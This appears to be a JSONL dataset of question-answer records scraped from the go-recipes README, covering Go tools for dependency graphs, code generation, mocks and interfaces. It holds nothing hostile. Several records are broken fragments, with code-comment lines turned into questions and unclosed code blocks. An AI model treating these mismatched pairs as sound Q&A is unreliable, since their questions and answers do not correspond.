{"id": "gh_faf51b6445a4", "question": "How to: [⏫](#contents) Explore dependencies graph interactively with [modview](https://github.com/bayraktugrul/modview)", "question_body": "About nikolaydubina/go-recipes", "answer": "Transform your Go project's dependency graph into a dynamic, interactive visualization with modview. This powerful tool takes the complexity out of your module graph, offering a clear and explorable view of your project's dependencies. — [@bayraktugrul](https://github.com/bayraktugrul)\n\n```\nmodview --open\n```\nRequirements\n```\ngo install github.com/bayraktugrul/modview@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952693"}
{"id": "gh_a84b0b9732e0", "question": "How to: [⏫](#contents) Explore dependencies graph in CLI with [depth](https://github.com/KyleBanks/depth)", "question_body": "About nikolaydubina/go-recipes", "answer": "Use this tool to retrieve and visualize Go source code dependency trees in CLI. You can also visualize multiple packages at once, set max depth, select internal only, and show explanation. — [@KyleBanks](https://github.com/KyleBanks)\n\n```\ndepth github.com/KyleBanks/depth/cmd/depth\n```\n\nExample\n```\ngithub.com/KyleBanks/depth/cmd/depth\n  ├ encoding/json\n  ├ flag\n  ├ fmt\n  ├ io\n  ├ log\n  ├ os\n  ├ strings\n  └ github.com/KyleBanks/depth\n    ├ fmt\n    ├ go/build\n    ├ path\n    ├ sort\n    └ strings\n12 dependencies (11 internal, 1 external, 0 testing).\n```\n\nRequirements\n```\ngo install github.com/KyleBanks/depth/cmd/depth@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952700"}
{"id": "gh_3f2b711fbf36", "question": "How to: [⏫](#contents) Explore your `GOPATH` with GUI with [goggles](https://github.com/KyleBanks/goggles)", "question_body": "About nikolaydubina/go-recipes", "answer": "Browse and search local packages. View package documentation.  Displays badges for GoDoc, Goreportcard, and Travis.CI (if .travis.yml is present). — [@KyleBanks](https://github.com/KyleBanks)\n\n```\ngoggles\n```\nRequirements\n```\ngo install github.com/KyleBanks/goggles/cmd/goggles@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952707"}
{"id": "gh_6b40acf20017", "question": "How to: [⏫](#contents) Enforce Go code architecture with [go-arch-lint](https://github.com/fe3dback/go-arch-lint)", "question_body": "About nikolaydubina/go-recipes", "answer": "Architecture linter. Will check all project import path and compare with arch rules defined in yml file. Useful for hexagonal / onion / ddd / mvc / etc patterns. — [@fe3dback](https://github.com/fe3dback)\n\n```\ngo-arch-lint\n```\nRequirements\n```\ngo install github.com/fe3dback/go-arch-lint@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952712"}
{"id": "gh_ec2f68e6fe15", "question": "How to: [⏫](#contents) Check Clean Architecture with [go-cleanarch](https://github.com/roblaszczak/go-cleanarch)", "question_body": "About nikolaydubina/go-recipes", "answer": "Clean architecture validator for go, like a The Dependency Rule and interaction between packages in your Go projects. — [@roblaszczak](https://github.com/roblaszczak)\n\n```\ngo-cleanarch\n```\n\nRequirements\n```\ngo install github.com/roblaszczak/go-cleanarch@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952718"}
{"id": "gh_c45acee2c077", "question": "How to: [⏫](#contents) Use `go mod` directives", "question_body": "About nikolaydubina/go-recipes", "answer": "Tell Go compiler which versions of upstreams to include in your build. Tell all users of your module how to deal with versions of your module.\n\n```\n// Deprecated: use example.com/mod/v2 instead.\nmodule example.com/mod\n\ngo 1.16\n\nrequire example.com/other/thing v1.0.2\nrequire example.com/new/thing/v2 v2.3.4\nexclude example.com/old/thing v1.2.3\nreplace example.com/bad/thing v1.4.5 => example.com/good/thing v1.4.5\nretract [v1.9.0, v1.9.5]\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952724"}
{"id": "gh_192524dbfaa6", "question": "How to: [⏫](#contents) Locally patch dependency with ``replace``", "question_body": "About nikolaydubina/go-recipes", "answer": "This can be useful for development. First appeared on [blog](https://eli.thegreenplace.net/2024/locally-patching-dependencies-in-go).\n\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952728"}
{"id": "gh_52f2a99f8d54", "question": "How to: make changes", "question_body": "About nikolaydubina/go-recipes", "answer": "go mod edit -replace github.com/google/go-cmp=$DEP\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952733"}
{"id": "gh_edee0e9370de", "question": "How to: [⏫](#contents) Make C4 diagram with [go-structurizr](https://github.com/krzysztofreczek/go-structurizr)", "question_body": "About nikolaydubina/go-recipes", "answer": "This library provides tools to generate [C4](https://c4model.com) diagrams. The process is a bit involved, however you get diagram generated from real Go code automatically. Steps are outlined in [blog](https://threedots.tech/post/auto-generated-c4-architecture-diagrams-in-go/). — [@krzysztofreczek](https://github.com/krzysztofreczek)\nRequirements\n```\nmanually defining Go main.go script to invoke library\ngraphviz\nmanual coloring spec (DB, classes)\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952745"}
{"id": "gh_e9b4df968bb7", "question": "How to: [⏫](#contents) Make graph of function calls with [callgraph](https://golang.org/x/tools/cmd/callgraph)", "question_body": "About nikolaydubina/go-recipes", "answer": "Visualize complex or new project quickly or to study project. Requires `main.go` in module. Supports Graphviz output format. Has many options for filtering and formatting. — official Go team\n\n```\ncallgraph -format graphviz . | dot -Tsvg -o graph.svg\nrecommend: grep\nrecommend: grep -v Error since many packages report error\nrecommend: adding `rankdir=LR;` to graphviz file for denser graph\nrecommend: you would have to manually fix graphviz file first and last line\n```\nRequirements\n```\ngo install golang.org/x/tools/cmd/callgraph@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952752"}
{"id": "gh_74945ca4605b", "question": "How to: [⏫](#contents) Make graph of function calls in package with [go-callvis](https://github.com/ofabry/go-callvis)", "question_body": "About nikolaydubina/go-recipes", "answer": "Quickly track which packages current package is calling and why. — [@ofabry](https://github.com/ofabry)\n\n```\ngo-callvis .\n```\nRequirements\n```\ngo install github.com/ofabry/go-callvis\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952758"}
{"id": "gh_9aa59140f0b1", "question": "How to: [⏫](#contents) Make PlantUML diagram with [goplantuml](https://github.com/jfeliu007/goplantuml)", "question_body": "About nikolaydubina/go-recipes", "answer": "Generates class diagram in widely used format with the information on structs, interfaces and their relationships. Render `.puml` files in for example [planttext.com](https://www.planttext.com). — [@jfeliu007](https://github.com/jfeliu007)\n\n```\ngoplantuml -recursive path/to/gofiles path/to/gofiles2\n```\nRequirements\n```\ngo get github.com/jfeliu007/goplantuml/parser\ngo install github.com/jfeliu007/goplantuml/cmd/goplantuml@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952764"}
{"id": "gh_a12c2b8da403", "question": "How to: [⏫](#contents) Visualize the entropy of a code base with a 3D force-directed graph with [dep-tree](https://github.com/gabotechs/dep-tree)", "question_body": "About nikolaydubina/go-recipes", "answer": "This excellent interactive visualisation tool lets you explore code base as 3D graph. The more decoupled and modular a code base is, the more spread and clustered the graph will look like. — [@gabotechs](https://github.com/gabotechs)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952776"}
{"id": "gh_5f54fad32beb", "question": "How to: [⏫](#contents) Make 3D chart of Go codebase with [gocity](https://github.com/rodrigo-brito/gocity)", "question_body": "About nikolaydubina/go-recipes", "answer": "Fresh artistic perspective on Go codebase. `GoCity` is an implementation of the Code City metaphor for visualizing source code - folders are districts; files are buildings; structs are buildings on the top of their files. This project has research paper \"[GoCity Code City for Go](https://homepages.dcc.ufmg.br/~mtov/pub/2019-saner-gocity.pdf)\" at SANER'19. Also available at [go-city.github.io](https://go-city.github.io). — [@rodrigo-brito](https://github.com/rodrigo-brito)\nRequirements\n```\ngo install github.com/rodrigo-brito/gocity@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952782"}
{"id": "gh_beb50040150a", "question": "How to: [⏫](#contents) Make histogram of Go files per package", "question_body": "About nikolaydubina/go-recipes", "answer": "Find when package is too big or too small. Adjust histogram length to maximum value.\n\n```\ngo list -json ./... | jq -rc '[.ImportPath, (.GoFiles | length | tostring)] | join(\" \")' | perl -lane 'print (\" \" x (20 - $F[1]), \"=\" x $F[1], \" \", $F[1], \"\\t\", $F[0])'\n```\n\nExample\n```\n================== 18\tgithub.com/gin-gonic/gin\n     ============= 13\tgithub.com/gin-gonic/gin/binding\n                 = 1\tgithub.com/gin-gonic/gin/internal/bytesconv\n                 = 1\tgithub.com/gin-gonic/gin/internal/json\n       =========== 11\tgithub.com/gin-gonic/gin/render\n```\n\nRequirements\n```\nhttps://stedolan.github.io/jq/download/\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952788"}
{"id": "gh_7ecfd7fec2e8", "question": "How to: [⏫](#contents) Explore Go code in browser powered by `go-guru` with [pythia](https://github.com/fzipp/pythia)", "question_body": "About nikolaydubina/go-recipes", "answer": "Explore Go source code in browser. It provides exported symbols summary for navigation. It answers questions like: definition; callers; implementers. It is browser frontend based on [go-guru](https://docs.google.com/document/d/1_Y9xCEMj5S-7rv2ooHpZNH15JgRT5iM742gJkw5LtmQ/edit), which was developed by Go core team from Google. — [@fzipp](https://github.com/fzipp)\n\n```\npythia net/http\n```\nRequirements\n```\ngo install github.com/fzipp/pythia@latest\ngo install golang.org/x/tools/cmd/guru@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952794"}
{"id": "gh_378fae7d12e8", "question": "How to: [⏫](#contents) Interactively visualize packages with [goexplorer](https://github.com/ofabry/goexplorer)", "question_body": "About nikolaydubina/go-recipes", "answer": "Based on `go-callvis`, this tool is an interactive package explorer of packages. This tool have not been updated for a long time. — [@ofabry](https://github.com/ofabry)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952800"}
{"id": "gh_376819a4f410", "question": "How to: [⏫](#contents) Make D2 graph of architecture and dependencies with [go-arch-lint graph](https://github.com/fe3dback/go-arch-lint)", "question_body": "About nikolaydubina/go-recipes", "answer": "Can include vendors or not, and be of type 'flow' or 'di'. — [@fe3dback](https://github.com/fe3dback)\n\n```\ngo-arch-lint graph\n```\nRequirements\n```\ngo install github.com/fe3dback/go-arch-lint@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952805"}
{"id": "gh_27517db6047c", "question": "How to: [⏫](#contents) Run `go:generate` in parallel", "question_body": "About nikolaydubina/go-recipes", "answer": "Official Go team [encourages](https://github.com/golang/go/issues/20520) to run sequentially. However, in certain situations, such as lots of mocks, parallelization helps a lot, albeit, you should consider including your generated files in git. The solution below spawns multiple processes, each per pkg.\n\n```\ngrep -rnw \"go:generate\" -E -l \"${1:-*.go}\" . | xargs -L1 dirname | sort -u | xargs -P 8 -I{} go generate {}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952811"}
{"id": "gh_8d6c981d9cb4", "question": "How to: [⏫](#contents) Generate `String` method for enum types", "question_body": "About nikolaydubina/go-recipes", "answer": "This is an official tool for generating `String` for enums. It supports overrides via comments. — official Go team\n\n```go\npackage painkiller\n\n//go:generate stringer -type=Pill -linecomment\n\ntype Pill int\n\nconst (\n  Placebo Pill = iota\n  Ibuprofen\n  Paracetamol\n  PillAspirin   // Aspirin\n  Acetaminophen = Paracetamol\n)\n\n// \"Acetaminophen\"\nvar s string = Acetaminophen.String()\n```\n\nRequirements\n```\ngo install golang.org/x/tools/cmd/stringer@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952818"}
{"id": "gh_6ff7668a352e", "question": "How to: [⏫](#contents) Generate enums encoding with [go-enum-encoding](https://github.com/nikolaydubina/go-enum-encoding)", "question_body": "About nikolaydubina/go-recipes", "answer": "Generate encoding code for enums. This follows json struct tag notation. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo generate ./...\n```\n\n```go\ntype Color struct{ c uint }\n\n//go:generate go-enum-encoding -type=Color\nvar (\n  Undefined = Color{}  // json:\"-\"\n  Red       = Color{1} // json:\"red\"\n  Green     = Color{2} // json:\"green\"\n  Blue      = Color{3} // json:\"blue\"\n)\n```\n\nRequirements\n```\ngo install github.com/nikolaydubina/go-enum-encoding@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952825"}
{"id": "gh_22dcba9c7efa", "question": "How to: [⏫](#contents) Generate enums with [goenums](https://github.com/zarldev/goenums)", "question_body": "About nikolaydubina/go-recipes", "answer": "Generate strict and fast enums. Generated code is much more tightly typed than just iota defined enums. You will get JSON decoder and encoder as well. This tool allows to generate extra fields and default values in enum structs. — [@zarldev](https://github.com/zarldev)\n\n```\ngoenums\n```\n\n```go\npackage milkyway\n\ntype planet int // Gravity[float64],RadiusKm[float64],MassKg[float64],OrbitKm[float64],OrbitDays[float64],SurfacePressureBars[float64],Moons[int],Rings[bool]\n\n//go:generate goenums planets.go\nconst (\n  unknown planet = iota // invalid\n  mercury               // Mercury 0.378,2439.7,3.3e23,57910000,88,0.0000000001,0,false\n  venus                 // Venus 0.907,6051.8,4.87e24,108200000,225,92,0,false\n  earth                 // Earth 1,6378.1,5.97e24,149600000,365,1,1,false\n  mars                  // Mars 0.377,3389.5,6.42e23,227900000,687,0.01,2,false\n  jupiter               // Jupiter 2.36,69911,1.90e27,778600000,4333,20,4,true\n  saturn                // Saturn 0.916,58232,5.68e26,1433500000,10759,1,7,true\n  uranus                // Uranus 0.889,25362,8.68e25,2872500000,30687,1.3,13,true\n  neptune               // Neptune 1.12,24622,1.02e26,4495100000,60190,1.5,2,true\n)\n```\n\nRequirements\n```\ngo install github.com/zarldev/goenums@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952833"}
{"id": "gh_cf35515d15d5", "question": "How to: [⏫](#contents) Generate data types from JSON Schema with [go-jsonschema](https://github.com/omissis/go-jsonschema)", "question_body": "About nikolaydubina/go-recipes", "answer": "JSON Schema is widely used standard for definition of structured data types. This tool will generate Go struct, decoder and validation based on JSON Schema spec. — [@omissis](https://github.com/omissis)\n\n```\ngo-jsonschema -p main myschema.jsonschema\n```\n\n```go\n// Code generated by github.com/atombender/go-jsonschema, DO NOT EDIT.\n\npackage main\n\nimport \"encoding/json\"\nimport \"fmt\"\n\ntype Veggie struct {\n        // Do I like this vegetable?\n        VeggieLike bool `json:\"veggieLike\" yaml:\"veggieLike\" mapstructure:\"veggieLike\"`\n\n        // The name of the vegetable.\n        VeggieName string `json:\"veggieName\" yaml:\"veggieName\" mapstructure:\"veggieName\"`\n}\n\n// UnmarshalJSON implements json.Unmarshaler.\nfunc (j *Veggie) UnmarshalJSON(b []byte) error {\n        var raw map[string]interface{}\n        if err := json.Unmarshal(b, &raw); err != nil {\n                return err\n        }\n        if v, ok := raw[\"veggieLike\"]; !ok || v == nil {\n                return fmt.Errorf(\"field veggieLike in Veggie: required\")\n        }\n        if v, ok := raw[\"veggieName\"]; !ok || v == nil {\n                return fmt.Errorf(\"field veggieName in Veggie: required\")\n        }\n        type Plain Veggie\n        var plain Plain\n        if err := json.Unmarshal(b, &plain); err != nil {\n                return err\n        }\n        *j = Veggie(plain)\n        return nil\n}\n\n// A representation of a person, company, organization, or place\ntype A2Schema struct {\n        // Fruits corresponds to the JSON schema field \"fruits\".\n        Fruits []string `json:\"fruits,omitempty\" yaml:\"fruits,omitempty\" mapstructure:\"fruits,omitempty\"`\n\n        // Vegetables corresponds to the JSON schema field \"vegetables\".\n        Vegetables []Veggie `json:\"vegetables,omitempty\" yaml:\"vegetables,omitempty\" mapstructure:\"vegetables,omitempty\"`\n}\n```\n\nExample\n```\n{\n      \"$id\": \"https://example.com/arrays.schema.json\",\n      \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n      \"description\": \"A representation of a person, company, organization, or place\",\n      \"type\": \"object\",\n      \"properties\": {\n            \"fruits\": {\n                  \"type\": \"array\",\n                  \"items\": {\n                        \"type\": \"string\"\n                  }\n            },\n            \"vegetables\": {\n                  \"type\": \"array\",\n                  \"items\": {\n                        \"$ref\": \"#/$defs/veggie\"\n                  }\n            }\n      },\n      \"$defs\": {\n            \"veggie\": {\n                  \"type\": \"object\",\n                  \"required\": [\n                        \"veggieName\",\n                        \"veggieLike\"\n                  ],\n                  \"properties\": {\n                        \"veggieName\": {\n                              \"type\": \"string\",\n                              \"description\": \"The name of the vegetable.\"\n                        },\n                        \"veggieLike\": {\n                              \"type\": \"boolean\",\n                              \"description\": \"Do I like this vegetable?\"\n                        }\n                  }\n            }\n      }\n}\n```\n\nRequirements\n```\ngo get github.com/atombender/go-jsonschema/...\ngo install github.com/atombender/go-jsonschema@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952850"}
{"id": "gh_a5aadce324ed", "question": "How to: [⏫](#contents) Generate constructor for a struct with [gonstructor](https://github.com/moznion/gonstructor)", "question_body": "About nikolaydubina/go-recipes", "answer": "Constructor is a widely used useful pattern. This tool generates basic version of it that passes arguments to struct. It also supports initializer method. — [@moznion](https://github.com/moznion)\n\n```go\n//go:generate gonstructor --type=Structure --constructorTypes=allArgs\ntype Structure struct {\n  foo string\n  bar io.Reader\n  Buz chan interface{}\n}\n```\n\nRequirements\n```\ngo install golang.org/x/tools/cmd/goimports@latest\ngo install github.com/moznion/gonstructor/cmd/gonstructor@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952857"}
{"id": "gh_8142c5eecf5b", "question": "How to: [⏫](#contents) Generate Table Driven Tests with [gotests](https://github.com/cweill/gotests)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool generates basic test placeholder. It is included into official Go plugin in VSCode and other major code editors. — [@cweill](https://github.com/cweill)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952863"}
{"id": "gh_4b785bc61132", "question": "How to: [⏫](#contents) Generate mocks with [mockgen](https://github.com/uber-go/mock)", "question_body": "About nikolaydubina/go-recipes", "answer": "This mocking framework integrates well with Go's built-in `testing` package, but can be used in other contexts too. — Go Core team, Uber\n\n```\nmockgen . Conn,Driver\n```\n\n```go", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952868"}
{"id": "gh_1ac0be653373", "question": "How to: foo_test.go", "question_body": "About nikolaydubina/go-recipes", "answer": "func TestFoo(t *testing.T) {\n  ctrl := gomock.NewController(t)\n\n  m := NewMockFoo(ctrl)\n\n  // Does not make any assertions. Executes the anonymous functions and returns\n  // its result when Bar is invoked with 99.\n  m.\n    EXPECT().\n    Bar(gomock.Eq(99)).\n    DoAndReturn(func(_ int) int {\n      time.Sleep(1*time.Second)\n      return 101\n    }).\n    AnyTimes()\n\n  // Does not make any assertions. Returns 103 when Bar is invoked with 101.\n  m.\n    EXPECT().\n    Bar(gomock.Eq(101)).\n    Return(103).\n    AnyTimes()\n\n  SUT(m)\n}\n```\n\nRequirements\n```\ngo install go.uber.org/mock/mockgen@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952874"}
{"id": "gh_7cc072d99654", "question": "How to: [⏫](#contents) Generate interface for a struct with [ifacemaker](https://github.com/vburenin/ifacemaker)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is a development helper program that generates a Golang interface by inspecting the structure methods of an existing .go file. The primary use case is to generate interfaces for [gomock](https://github.com/golang/mock), so that [gomock](https://github.com/golang/mock) can generate mocks from those interfaces. This makes unit testing easier. — [@vburenin](https://github.com/vburenin)\n\n```\nifacemaker -f human.go -s Human -i HumanIface -p humantest -y \"HumanIface makes human interaction easy\" -c \"DONT EDIT: Auto generated\"\n```\n\n```go", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952880"}
{"id": "gh_944dc522ab69", "question": "How to: human_interface.go", "question_body": "About nikolaydubina/go-recipes", "answer": "// DONT EDIT: Auto generated\npackage humantest\n\n// HumanIface makes human interaction easy\ntype HumanIface interface {\n  // Returns the name of our Human.\n  GetName() string\n  // Our Human just had a birthday! Increase its age.\n  Birthday()\n  // Make the Human say hello.\n  SayHello()\n}\n```\n\nRequirements\n```\ngo install github.com/vburenin/ifacemaker@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952887"}
{"id": "gh_6a68dfee4d40", "question": "How to: [⏫](#contents) Generate interface for a struct with [interfacer](https://github.com/rjeczalik/interfaces)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool generates interface for a struct. Can be invoked in `go:generate`. — [@rjeczalik](https://github.com/rjeczalik)\n\n```\ninterfacer -for os.File -as mock.File\n```\n\n```go\n// Created by interfacer; DO NOT EDIT\n\npackage mock\n\nimport (\n        \"os\"\n)\n\n// File is an interface generated for \"os\".File.\ntype File interface {\n        Chdir() error\n        Chmod(os.FileMode) error\n        Chown(int, int) error\n        Close() error\n        Fd() uintptr\n        Name() string\n        Read([]byte) (int, error)\n        ReadAt([]byte, int64) (int, error)\n        Readdir(int) ([]os.FileInfo, error)\n        Readdirnames(int) ([]string, error)\n        Seek(int64, int) (int64, error)\n        Stat() (os.FileInfo, error)\n        Sync() error\n        Truncate(int64) error\n        Write([]byte) (int, error)\n        WriteAt([]byte, int64) (int, error)\n        WriteString(string) (int, error)\n}\n```\n\nRequirements\n```\ngo install github.com/rjeczalik/interfaces/cmd/interfacer@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952895"}
{"id": "gh_5d1443a92a08", "question": "How to: [⏫](#contents) Generate interface for a struct with [struct2interface](https://github.com/reflog/struct2interface)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is alternative tool for interface generation that is aimed to be faster and leaner. It generates only pointer method receiver methods for a struct. — [@reflog](https://github.com/reflog)\n\n```\nstruct2interface -f . -i IDecimal -p fpdecimal -s Decimal -o idecimal.go\n```\n\nRequirements\n```\ngo install github.com/reflog/struct2interface@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952900"}
{"id": "gh_e02f207cc56d", "question": "How to: [⏫](#contents) Generate interface for `CSV` file with [structer](https://github.com/rjeczalik/interfaces)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool generates struct that can read and write `CSV` file of this struct. Order of fields is hardcoded. — [@rjeczalik](https://github.com/rjeczalik)\n\n```\nstructer -f aws-billing.csv -tag json -as billing.Record\n```\n\n```go", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952905"}
{"id": "gh_63acf1a13fe2", "question": "How to: [⏫](#contents) Generate decorator for interface with [gowrap](https://github.com/hexdigest/gowrap)", "question_body": "About nikolaydubina/go-recipes", "answer": "GoWrap is a command line tool that generates decorators for Go interface types using simple templates. With GoWrap you can easily add metrics, tracing, fallbacks, pools, and many other features into your existing code in a few seconds. — [@hexdigest](https://github.com/hexdigest)\n\n```\ngowrap gen -p io -i Reader -t prometheus -o reader_with_metrics.go\n```\nRequirements\n```\ngo install github.com/hexdigest/gowrap/cmd/gowrap@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952914"}
